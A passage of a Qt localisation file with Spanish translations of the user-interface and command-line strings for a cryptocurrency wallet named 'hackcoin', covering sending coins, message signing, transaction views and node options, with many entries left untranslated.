<translation type="unfinished"/>
</message>
<message>
<location line="-191"/>
<source>Priority:</source>
<translation>Prioridad:</translation>
</message>
<message>
<location line="+19"/>
<source>medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Fee:</source>
<translation>Tasa:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Envío pequeño:</translation>
</message>
<message>
<location line="+19"/>
<source>no</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>After Fee:</source>
<translation>Después de tasas:</translation>
</message>
<message>
<location line="+35"/>
<source>Change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+50"/>
<source>custom change address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+106"/>
<source>Send to multiple recipients at once</source>
<translation>Enviar a múltiples destinatarios de una vez</translation>
</message>
<message>
<location line="+3"/>
<source>Add &Recipient</source>
<translation>Añadir &destinatario</translation>
</message>
<message>
<location line="+20"/>
<source>Remove all transaction fields</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Clear &All</source>
<translation>Limpiar &todo</translation>
</message>
<message>
<location line="+28"/>
<source>Balance:</source>
<translation>Saldo:</translation>
</message>
<message>
<location line="+16"/>
<source>123.456 hack</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Confirm the send action</source>
<translation>Confirmar el envío</translation>
</message>
<message>
<location line="+3"/>
<source>S&end</source>
<translation>&Enviar</translation>
</message>
<message>
<location filename="../sendcoinsdialog.cpp" line="-173"/>
<source>Enter a hackcoin address (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Copy quantity</source>
<translation>Copiar cantidad</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Copiar cuantía</translation>
</message>
<message>
<location line="+1"/>
<source>Copy fee</source>
<translation>Copiar donación</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation>Copiar después de aplicar donación</translation>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation>Copiar bytes</translation>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation>Copiar prioridad</translation>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation>Copiar envío pequeño</translation>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation>Copiar Cambio</translation>
</message>
<message>
<location line="+86"/>
<source><b>%1</b> to %2 (%3)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirm send coins</source>
<translation>Confirmar el envío de monedas</translation>
</message>
<message>
<location line="+1"/>
<source>Are you sure you want to send %1?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source> and </source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>The recipient address is not valid, please recheck.</source>
<translation>La dirección de recepción no es válida, compruébela de nuevo.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount to pay must be larger than 0.</source>
<translation>La cantidad por pagar tiene que ser mayor de 0.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount exceeds your balance.</source>
<translation>La cantidad sobrepasa su saldo.</translation>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your balance when the %1 transaction fee is included.</source>
<translation>El total sobrepasa su saldo cuando se incluye la tasa de envío de %1</translation>
</message>
<message>
<location line="+6"/>
<source>Duplicate address found, can only send to each address once per send operation.</source>
<translation>Se ha encontrado una dirección duplicada. Solo se puede enviar a cada dirección una vez por operación de envío.</translation>
</message>
<message>
<location line="+5"/>
<source>Error: Transaction creation failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+251"/>
<source>WARNING: Invalid hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>(no label)</source>
<translation>(sin etiqueta)</translation>
</message>
<message>
<location line="+4"/>
<source>WARNING: unknown change address</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsEntry</name>
<message>
<location filename="../forms/sendcoinsentry.ui" line="+14"/>
<source>Form</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>A&mount:</source>
<translation>Ca&ntidad:</translation>
</message>
<message>
<location line="+13"/>
<source>Pay &To:</source>
<translation>&Pagar a:</translation>
</message>
<message>
<location line="+24"/>
<location filename="../sendcoinsentry.cpp" line="+25"/>
<source>Enter a label for this address to add it to your address book</source>
<translation>Etiquete esta dirección para añadirla a la libreta</translation>
</message>
<message>
<location line="+9"/>
<source>&Label:</source>
<translation>&Etiqueta:</translation>
</message>
<message>
<location line="+18"/>
<source>The address to send the payment to (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Choose address from address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="+7"/>
<source>Paste address from clipboard</source>
<translation>Pegar dirección desde portapapeles</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+7"/>
<source>Remove this recipient</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../sendcoinsentry.cpp" line="+1"/>
<source>Enter a hackcoin address (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SignVerifyMessageDialog</name>
<message>
<location filename="../forms/signverifymessagedialog.ui" line="+14"/>
<source>Signatures - Sign / Verify a Message</source>
<translation>Firmas - Firmar / verificar un mensaje</translation>
</message>
<message>
<location line="+13"/>
<location line="+124"/>
<source>&Sign Message</source>
<translation>&Firmar mensaje</translation>
</message>
<message>
<location line="-118"/>
<source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source>
<translation>Puede firmar mensajes con sus direcciones para demostrar que las posee. Tenga cuidado de no firmar cualquier cosa vaga, ya que los ataques de phishing pueden tratar de engañarle para suplantar su identidad. Firme solo declaraciones totalmente detalladas con las que usted esté de acuerdo.</translation>
</message>
<message>
<location line="+18"/>
<source>The address to sign the message with (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<location line="+203"/>
<source>Choose an address from the address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-193"/>
<location line="+203"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="-193"/>
<source>Paste address from clipboard</source>
<translation>Pegar dirección desde portapapeles</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+12"/>
<source>Enter the message you want to sign here</source>
<translation>Introduzca el mensaje que desea firmar aquí</translation>
</message>
<message>
<location line="+24"/>
<source>Copy the current signature to the system clipboard</source>
<translation>Copiar la firma actual al portapapeles del sistema</translation>
</message>
<message>
<location line="+21"/>
<source>Sign the message to prove you own this hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all sign message fields</source>
<translation>Limpiar todos los campos de la firma de mensaje</translation>
</message>
<message>
<location line="+3"/>
<location line="+146"/>
<source>Clear &All</source>
<translation>Limpiar &todo</translation>
</message>
<message>
<location line="-87"/>
<location line="+70"/>
<source>&Verify Message</source>
<translation>&Verificar mensaje</translation>
</message>
<message>
<location line="-64"/>
<source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source>
<translation>Introduzca la dirección para la firma, el mensaje (asegurándose de copiar tal cual los saltos de línea, espacios, tabulaciones, etc.) y la firma a continuación para verificar el mensaje. Tenga cuidado de no asumir más información de lo que dice el propio mensaje firmado para evitar fraudes basados en ataques de tipo man-in-the-middle.</translation>
</message>
<message>
<location line="+21"/>
<source>The address the message was signed with (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>Verify the message to ensure it was signed with the specified hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all verify message fields</source>
<translation>Limpiar todos los campos de la verificación de mensaje</translation>
</message>
<message>
<location filename="../signverifymessagedialog.cpp" line="+27"/>
<location line="+3"/>
<source>Enter a hackcoin address (e.g. hackcoinfwYhBmGXcFP2Po1NpRUEiK8km2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Click "Sign Message" to generate signature</source>
<translation>Haga clic en "Firmar mensaje" para generar la firma</translation>
</message>
<message>
<location line="+3"/>
<source>Enter hackcoin signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+82"/>
<location line="+81"/>
<source>The entered address is invalid.</source>
<translation>La dirección introducida es inválida.</translation>
</message>
<message>
<location line="-81"/>
<location line="+8"/>
<location line="+73"/>
<location line="+8"/>
<source>Please check the address and try again.</source>
<translation>Verifique la dirección e inténtelo de nuevo.</translation>
</message>
<message>
<location line="-81"/>
<location line="+81"/>
<source>The entered address does not refer to a key.</source>
<translation>La dirección introducida no corresponde a una clave.</translation>
</message>
<message>
<location line="-73"/>
<source>Wallet unlock was cancelled.</source>
<translation>Se ha cancelado el desbloqueo del monedero. </translation>
</message>
<message>
<location line="+8"/>
<source>Private key for the entered address is not available.</source>
<translation>No se dispone de la clave privada para la dirección introducida.</translation>
</message>
<message>
<location line="+12"/>
<source>Message signing failed.</source>
<translation>Ha fallado la firma del mensaje.</translation>
</message>
<message>
<location line="+5"/>
<source>Message signed.</source>
<translation>Mensaje firmado.</translation>
</message>
<message>
<location line="+59"/>
<source>The signature could not be decoded.</source>
<translation>No se puede decodificar la firma.</translation>
</message>
<message>
<location line="+0"/>
<location line="+13"/>
<source>Please check the signature and try again.</source>
<translation>Compruebe la firma e inténtelo de nuevo.</translation>
</message>
<message>
<location line="+0"/>
<source>The signature did not match the message digest.</source>
<translation>La firma no coincide con el resumen del mensaje.</translation>
</message>
<message>
<location line="+7"/>
<source>Message verification failed.</source>
<translation>La verificación del mensaje ha fallado.</translation>
</message>
<message>
<location line="+5"/>
<source>Message verified.</source>
<translation>Mensaje verificado.</translation>
</message>
</context>
<context>
<name>TransactionDesc</name>
<message>
<location filename="../transactiondesc.cpp" line="+19"/>
<source>Open until %1</source>
<translation>Abierto hasta %1</translation>
</message>
<message numerus="yes">
<location line="-2"/>
<source>Open for %n block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+8"/>
<source>conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1/offline</source>
<translation>%1/fuera de línea</translation>
</message>
<message>
<location line="+2"/>
<source>%1/unconfirmed</source>
<translation>%1/no confirmado</translation>
</message>
<message>
<location line="+2"/>
<source>%1 confirmations</source>
<translation>%1 confirmaciones</translation>
</message>
<message>
<location line="+18"/>
<source>Status</source>
<translation>Estado</translation>
</message>
<message numerus="yes">
<location line="+7"/>
<source>, broadcast through %n node(s)</source>
<translation><numerusform>, transmitir a través de %n nodo</numerusform><numerusform>, transmitir a través de %n nodos</numerusform></translation>
</message>
<message>
<location line="+4"/>
<source>Date</source>
<translation>Fecha</translation>
</message>
<message>
<location line="+7"/>
<source>Source</source>
<translation>Fuente</translation>
</message>
<message>
<location line="+0"/>
<source>Generated</source>
<translation>Generado</translation>
</message>
<message>
<location line="+5"/>
<location line="+17"/>
<source>From</source>
<translation>De</translation>
</message>
<message>
<location line="+1"/>
<location line="+22"/>
<location line="+58"/>
<source>To</source>
<translation>Para</translation>
</message>
<message>
<location line="-77"/>
<location line="+2"/>
<source>own address</source>
<translation>dirección propia</translation>
</message>
<message>
<location line="-2"/>
<source>label</source>
<translation>etiqueta</translation>
</message>
<message>
<location line="+37"/>
<location line="+12"/>
<location line="+45"/>
<location line="+17"/>
<location line="+30"/>
<source>Credit</source>
<translation>Crédito</translation>
</message>
<message numerus="yes">
<location line="-102"/>
<source>matures in %n more block(s)</source>
<translation><numerusform>disponible en %n bloque más</numerusform><numerusform>disponible en %n bloques más</numerusform></translation>
</message>
<message>
<location line="+2"/>
<source>not accepted</source>
<translation>no aceptada</translation>
</message>
<message>
<location line="+44"/>
<location line="+8"/>
<location line="+15"/>
<location line="+30"/>
<source>Debit</source>
<translation>Débito</translation>
</message>
<message>
<location line="-39"/>
<source>Transaction fee</source>
<translation>Comisión de transacción</translation>
</message>
<message>
<location line="+16"/>
<source>Net amount</source>
<translation>Cantidad neta</translation>
</message>
<message>
<location line="+6"/>
<source>Message</source>
<translation>Mensaje</translation>
</message>
<message>
<location line="+2"/>
<source>Comment</source>
<translation>Comentario</translation>
</message>
<message>
<location line="+2"/>
<source>Transaction ID</source>
<translation>Identificador de transacción</translation>
</message>
<message>
<location line="+3"/>
<source>Generated coins must mature 510 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to "not accepted" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Debug information</source>
<translation>Información de depuración</translation>
</message>
<message>
<location line="+8"/>
<source>Transaction</source>
<translation>Transacción</translation>
</message>
<message>
<location line="+5"/>
<source>Inputs</source>
<translation>entradas</translation>
</message>
<message>
<location line="+23"/>
<source>Amount</source>
<translation>Cantidad</translation>
</message>
<message>
<location line="+1"/>
<source>true</source>
<translation>verdadero</translation>
</message>
<message>
<location line="+0"/>
<source>false</source>
<translation>falso</translation>
</message>
<message>
<location line="-211"/>
<source>, has not been successfully broadcast yet</source>
<translation>, todavía no se ha sido difundido satisfactoriamente</translation>
</message>
<message>
<location line="+35"/>
<source>unknown</source>
<translation>desconocido</translation>
</message>
</context>
<context>
<name>TransactionDescDialog</name>
<message>
<location filename="../forms/transactiondescdialog.ui" line="+14"/>
<source>Transaction details</source>
<translation>Detalles de transacción</translation>
</message>
<message>
<location line="+6"/>
<source>This pane shows a detailed description of the transaction</source>
<translation>Esta ventana muestra información detallada sobre la transacción</translation>
</message>
</context>
<context>
<name>TransactionTableModel</name>
<message>
<location filename="../transactiontablemodel.cpp" line="+226"/>
<source>Date</source>
<translation>Fecha</translation>
</message>
<message>
<location line="+0"/>
<source>Type</source>
<translation>Tipo</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Dirección</translation>
</message>
<message>
<location line="+0"/>
<source>Amount</source>
<translation>Cantidad</translation>
</message>
<message>
<location line="+60"/>
<source>Open until %1</source>
<translation>Abierto hasta %1</translation>
</message>
<message>
<location line="+12"/>
<source>Confirmed (%1 confirmations)</source>
<translation>Confirmado (%1 confirmaciones)</translation>
</message>
<message numerus="yes">
<location line="-15"/>
<source>Open for %n more block(s)</source>
<translation><numerusform>Abrir para %n bloque más</numerusform><numerusform>Abrir para %n bloques más</numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Unconfirmed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Confirming (%1 of %2 recommended confirmations)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Immature (%1 confirmations, will be available after %2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>This block was not received by any other nodes and will probably not be accepted!</source>
<translation>Este bloque no ha sido recibido por otros nodos y probablemente no sea aceptado!</translation>
</message>
<message>
<location line="+3"/>
<source>Generated but not accepted</source>
<translation>Generado pero no aceptado</translation>
</message>
<message>
<location line="+42"/>
<source>Received with</source>
<translation>Recibido con</translation>
</message>
<message>
<location line="+2"/>
<source>Received from</source>
<translation>Recibidos de</translation>
</message>
<message>
<location line="+3"/>
<source>Sent to</source>
<translation>Enviado a</translation>
</message>
<message>
<location line="+2"/>
<source>Payment to yourself</source>
<translation>Pago propio</translation>
</message>
<message>
<location line="+2"/>
<source>Mined</source>
<translation>Minado</translation>
</message>
<message>
<location line="+38"/>
<source>(n/a)</source>
<translation>(nd)</translation>
</message>
<message>
<location line="+190"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation>Estado de transacción. Pasa el ratón sobre este campo para ver el número de confirmaciones.</translation>
</message>
<message>
<location line="+2"/>
<source>Date and time that the transaction was received.</source>
<translation>Fecha y hora en que se recibió la transacción.</translation>
</message>
<message>
<location line="+2"/>
<source>Type of transaction.</source>
<translation>Tipo de transacción.</translation>
</message>
<message>
<location line="+2"/>
<source>Destination address of transaction.</source>
<translation>Dirección de destino de la transacción.</translation>
</message>
<message>
<location line="+2"/>
<source>Amount removed from or added to balance.</source>
<translation>Cantidad retirada o añadida al saldo.</translation>
</message>
</context>
<context>
<name>TransactionView</name>
<message>
<location filename="../transactionview.cpp" line="+55"/>
<location line="+16"/>
<source>All</source>
<translation>Todo</translation>
</message>
<message>
<location line="-15"/>
<source>Today</source>
<translation>Hoy</translation>
</message>
<message>
<location line="+1"/>
<source>This week</source>
<translation>Esta semana</translation>
</message>
<message>
<location line="+1"/>
<source>This month</source>
<translation>Este mes</translation>
</message>
<message>
<location line="+1"/>
<source>Last month</source>
<translation>Mes pasado</translation>
</message>
<message>
<location line="+1"/>
<source>This year</source>
<translation>Este año</translation>
</message>
<message>
<location line="+1"/>
<source>Range...</source>
<translation>Rango...</translation>
</message>
<message>
<location line="+11"/>
<source>Received with</source>
<translation>Recibido con</translation>
</message>
<message>
<location line="+2"/>
<source>Sent to</source>
<translation>Enviado a</translation>
</message>
<message>
<location line="+2"/>
<source>To yourself</source>
<translation>A usted mismo</translation>
</message>
<message>
<location line="+1"/>
<source>Mined</source>
<translation>Minado</translation>
</message>
<message>
<location line="+1"/>
<source>Other</source>
<translation>Otra</translation>
</message>
<message>
<location line="+7"/>
<source>Enter address or label to search</source>
<translation>Introduzca una dirección o etiqueta que buscar</translation>
</message>
<message>
<location line="+7"/>
<source>Min amount</source>
<translation>Cantidad mínima</translation>
</message>
<message>
<location line="+34"/>
<source>Copy address</source>
<translation>Copiar dirección</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Copiar etiqueta</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Copiar cuantía</translation>
</message>
<message>
<location line="+1"/>
<source>Copy transaction ID</source>
<translation>Copiar identificador de transacción</translation>
</message>
<message>
<location line="+1"/>
<source>Edit label</source>
<translation>Editar etiqueta</translation>
</message>
<message>
<location line="+1"/>
<source>Show transaction details</source>
<translation>Mostrar detalles de la transacción</translation>
</message>
<message>
<location line="+144"/>
<source>Export Transaction Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Archivos de columnas separadas por coma (*.csv)</translation>
</message>
<message>
<location line="+8"/>
<source>Confirmed</source>
<translation>Confirmado</translation>
</message>
<message>
<location line="+1"/>
<source>Date</source>
<translation>Fecha</translation>
</message>
<message>
<location line="+1"/>
<source>Type</source>
<translation>Tipo</translation>
</message>
<message>
<location line="+1"/>
<source>Label</source>
<translation>Etiqueta</translation>
</message>
<message>
<location line="+1"/>
<source>Address</source>
<translation>Dirección</translation>
</message>
<message>
<location line="+1"/>
<source>Amount</source>
<translation>Cantidad</translation>
</message>
<message>
<location line="+1"/>
<source>ID</source>
<translation>ID</translation>
</message>
<message>
<location line="+4"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+100"/>
<source>Range:</source>
<translation>Rango:</translation>
</message>
<message>
<location line="+8"/>
<source>to</source>
<translation>para</translation>
</message>
</context>
<context>
<name>WalletModel</name>
<message>
<location filename="../walletmodel.cpp" line="+206"/>
<source>Sending...</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>xtrabytes-core</name>
<message>
<location filename="../xtrabytesstrings.cpp" line="+33"/>
<source>hackcoin version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Usage:</source>
<translation>Uso:</translation>
</message>
<message>
<location line="+1"/>
<source>Send command to -server or hackcoind</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>List commands</source>
<translation>Muestra comandos
</translation>
</message>
<message>
<location line="+1"/>
<source>Get help for a command</source>
<translation>Recibir ayuda para un comando
</translation>
</message>
<message>
<location line="+2"/>
<source>Options:</source>
<translation>Opciones:
</translation>
</message>
<message>
<location line="+2"/>
<source>Specify configuration file (default: hackcoin.conf)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Specify pid file (default: hackcoind.pid)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Specify wallet file (within data directory)</source>
<translation>Especificar archivo de monedero (dentro del directorio de datos)</translation>
</message>
<message>
<location line="-1"/>
<source>Specify data directory</source>
<translation>Especificar directorio para los datos</translation>
</message>
<message>
<location line="+2"/>
<source>Set database cache size in megabytes (default: 25)</source>
<translation>Establecer el tamaño de caché de la base de datos en megabytes (predeterminado: 25)</translation>
</message>
<message>
<location line="+1"/>
<source>Set database disk log size in megabytes (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Listen for connections on <port> (default: 15714 or testnet: 25714)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maintain at most <n> connections to peers (default: 125)</source>
<translation>Mantener como máximo <n> conexiones a pares (predeterminado: 125)</translation>
</message>
<message>
<location line="+3"/>
<source>Connect to a node to retrieve peer addresses, and disconnect</source>
<translation>Conectar a un nodo para obtener direcciones de pares y desconectar</translation>
</message>
<message>
<location line="+1"/>
<source>Specify your own public address</source>
<translation>Especifique su propia dirección pública</translation>
</message>
<message>
<location line="+5"/>
<source>Bind to given address. Use [host]:port notation for IPv6</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Stake your coins to support network and gain reward (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Threshold for disconnecting misbehaving peers (default: 100)</source>
<translation>Umbral para la desconexión de pares con mal comportamiento (predeterminado: 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source>
<translation>Número de segundos en que se evita la reconexión de pares con mal comportamiento (predeterminado: 86400)</translation>
</message>
<message>
<location line="-44"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source>
<translation>Ha ocurrido un error al configurar el puerto RPC %u para escucha en IPv4: %s</translation>
</message>
<message>
<location line="+51"/>
<source>Detach block and address databases. Increases shutdown time (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+109"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-87"/>
<source>Listen for JSON-RPC connections on <port> (default: 15715 or testnet: 25715)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-11"/>
<source>Accept command line and JSON-RPC commands</source>
<translation>Aceptar comandos consola y JSON-RPC
</translation>
</message>
<message>
<location line="+101"/>
<source>Error: Transaction creation failed </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>Error: Wallet locked, unable to create transaction </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-8"/>
<source>Importing blockchain data file.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Importing bootstrap blockchain data file.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-88"/>
<source>Run in the background as a daemon and accept commands</source>
<translation>Ejecutar en segundo plano como daemon y aceptar comandos
</translation>
</message>
<message>
<location line="+1"/>
<source>Use the test network</source>
<translation>Usar la red de pruebas
</translation>
</message>
<message>
<location line="-24"/>
<source>Accept connections from outside (default: 1 if no -proxy or -connect)</source>
<translation>Aceptar conexiones desde el exterior (predeterminado: 1 si no -proxy o -connect)</translation>
</message>
<message>
<location line="-38"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source>
<translation>Ha ocurrido un error al configurar el puerto RPC %u para escuchar mediante IPv6. Recurriendo a IPv4: %s</translation>
</message>
<message>
<location line="+117"/>
<source>Error initializing database environment %s! To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-20"/>
<source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source>
<translation>Aviso: ¡-paytxfee tiene un valor muy alto! Esta es la comisión que pagará si envía una transacción.</translation>
</message>
<message>
<location line="+61"/>
<source>Warning: Please check that your computer's date and time are correct! If your clock is wrong hackcoin will not work properly.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-31"/>
<source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source>
<translation>Aviso: ¡Error al leer wallet.dat! Todas las claves se han leído correctamente, pero podrían faltar o ser incorrectos los datos de transacciones o las entradas de la libreta de direcciones.</translation>
</message>
<message>
<location line="-18"/>
<source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source>
<translation>Aviso: ¡Recuperados datos de wallet.dat corrupto! El wallet.dat original se ha guardado como wallet.{timestamp}.bak en %s; si hubiera errores en su saldo o transacciones, deberá restaurar una copia de seguridad.</translation>
</message>
<message>
<location line="-30"/>
<source>Attempt to recover private keys from a corrupt wallet.dat</source>
<translation>Intento de recuperar claves privadas de un wallet.dat corrupto</translation>
</message>
<message>
<location line="+4"/>
<source>Block creation options:</source>
<translation>Opciones de creación de bloques:</translation>
</message>
<message>
<location line="-62"/>
<source>Connect only to the specified node(s)</source>
<translation>Conectar sólo a los nodos (o nodo) especificados</translation>
</message>
<message>
<location line="+4"/>
<source>Discover own IP address (default: 1 when listening and no -externalip)</source>
<translation>Descubrir dirección IP propia (predeterminado: 1 al escuchar sin -externalip)</translation>
</message>
<message>
<location line="+94"/>
<source>Failed to listen on any port. Use -listen=0 if you want this.</source>
<translation>Ha fallado la escucha en todos los puertos. Use -listen=0 si desea esto.</translation>
</message>
<message>
<location line="-90"/>
<source>Find peers using DNS lookup (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Sync checkpoints policy (default: strict)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+83"/>
<source>Invalid -tor address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Invalid amount for -reservebalance=<amount></source>
<translation type="unfinished"/>
</message>
<message>
<location line="-82"/>
<source>Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)</source>
<translation>Búfer de recepción máximo por conexión, <n>*1000 bytes (predeterminado: 5000)</translation>
</message>
<message>
<location line="+1"/>
<source>Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)</source>
<translation>Búfer de recepción máximo por conexión, , <n>*1000 bytes (predeterminado: 1000)</translation>
</message>
<message>
<location line="-16"/>
<source>Only connect to nodes in network <net> (IPv4, IPv6 or Tor)</source>
<translation>Conectarse solo a nodos de la red <net> (IPv4, IPv6 o Tor)</translation>
</message>
<message>
<location line="+28"/>
<source>Output extra debugging information. Implies all other -debug* options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Output extra network debugging information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Prepend debug output with timestamp</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>SSL options: (see the XtraBYtes Wiki for SSL setup instructions)</source>
<translation>Opciones SSL: (ver la XtraBYtes Wiki para instrucciones de configuración SSL)</translation>
</message>
<message>
<location line="-74"/>
<source>Select the version of socks proxy to use (4-5, default: 5)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>Send trace/debug info to console instead of debug.log file</source>
<translation>Enviar información de trazas/depuración a la consola en lugar de al archivo debug.log</translation>
</message>
<message>
<location line="+1"/>
<source>Send trace/debug info to debugger</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Set maximum block size in bytes (default: 250000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Set minimum block size in bytes (default: 0)</source>
<translation>Establecer tamaño mínimo de bloque en bytes (predeterminado: 0)</translation>
</message>
<message>
<location line="-29"/>
<source>Shrink debug.log file on client startup (default: 1 when no -debug)</source>
<translation>Reducir el archivo debug.log al iniciar el cliente (predeterminado: 1 sin -debug)</translation>
</message>
<message>
<location line="-42"/>
<source>Specify connection timeout in milliseconds (default: 5000)</source>
<translation>Especificar el tiempo máximo de conexión en milisegundos (predeterminado: 5000)</translation>
</message>
<message>
<location line="+109"/>
<source>Unable to sign checkpoint, wrong checkpointkey?
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-80"/>
